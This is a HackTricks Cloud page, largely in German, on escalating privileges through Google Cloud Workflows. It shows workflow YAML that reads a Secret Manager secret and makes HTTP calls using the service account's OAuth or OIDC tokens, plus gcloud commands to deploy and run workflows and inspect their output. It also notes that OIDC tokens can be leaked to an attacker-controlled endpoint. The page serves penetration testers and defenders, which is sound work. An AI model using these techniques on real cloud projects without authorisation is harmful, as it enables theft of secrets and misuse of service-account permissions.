GCP - Workflows Privesc
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Workflows
Grundlegende Informationen:
workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)
Soweit ich weiß ist es nicht möglich, eine shell zu erhalten, die Zugriff auf den Metadata-Endpunkt hat, der die SA-Anmeldeinformationen der an einen Workflow gebundenen SA enthält. Es ist jedoch möglich, die Berechtigungen der SA zu missbrauchen, indem man die auszuführenden Aktionen in den Workflow aufnimmt.
Es ist möglich, die Dokumentation der Connectoren zu finden. Zum Beispiel ist dies die page of the Secretmanager connector. In der Seitenleiste findet man mehrere weitere Connectoren.
Und hier findet man ein Beispiel für einen Connector, der ein secret ausgibt:
Workflow YAML-Konfiguration zum Zugriff auf secrets
```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```Aktualisierung über die CLI:
Workflows über die CLI bereitstellen und ausführen
```bash gcloud workflows deployWenn du keinen Webzugang hast, ist es möglich, die Ausführung eines Workflows auszulösen und zu sehen mit:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
Caution
Sie können auch die Ausgaben vorheriger Ausführungen prüfen, um nach sensiblen Informationen zu suchen
Beachte, dass selbst wenn du einen Fehler wie PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... erhältst, weil du diese Berechtigung nicht hast, der Workflow trotzdem erstellt wurde.
Leak OIDC token (and OAuth?)
According to the docs it’s possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.
Caution
Daher ist es möglich, das OIDC-Token zu leak, indem ein vom Nutzer kontrollierter HTTP-Endpunkt angegeben wird, aber um das OAuth-Token zu leak, bräuchte man einen Bypass für diesen Schutz. Du kannst jedoch weiterhin jede GCP api kontaktieren, um Aktionen im Namen des SA auszuführen, entweder über connectors oder HTTP-Anfragen mit dem OAuth-Token.
Oauth
Workflow HTTP request with OAuth token
```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```Workflow-HTTP-Anfrage mit OIDC-Token
```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```Mit dieser Berechtigung statt workflows.workflows.create ist es möglich, einen bereits bestehenden Workflow zu aktualisieren und dieselben Angriffe durchzuführen.
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

